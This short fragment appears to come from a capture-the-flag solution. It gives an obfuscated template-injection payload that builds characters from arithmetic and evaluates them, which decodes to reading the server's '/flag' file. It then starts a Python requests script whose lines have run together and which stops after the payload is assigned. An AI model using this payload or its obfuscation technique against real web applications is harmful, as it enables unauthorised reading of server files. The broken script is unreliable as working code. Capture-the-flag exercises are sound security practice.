my payload is `{{('""%2bo'%2b((111%2b1)|ch)%2b'e'%2b((111-1)|ch)%2b'("'%2b((46%2b1)|ch)%2b((114-11-1)|ch)%2b'l'%2b((111-14)|ch)%2b((114-11)|ch)%2b'")'%2b(46|ch)%2b're'%2b((111-14)|ch)%2b'd()')|e}}`
my solution ```
import requestss = requests.session()payload='''{{('""%2bo'%2b((111%2b1)|ch)%2b'e'%2b((111-1)|ch)%2b'("'%2b((46%2b1)|ch)%2b((114-11-1)|ch)%2b'l'%2b((111-14)|ch)%2b((114-11)|ch)%2b'")'%2b(46|ch)%2b're'%2b((111-14)|ch)%2b'd()')|e}}'''
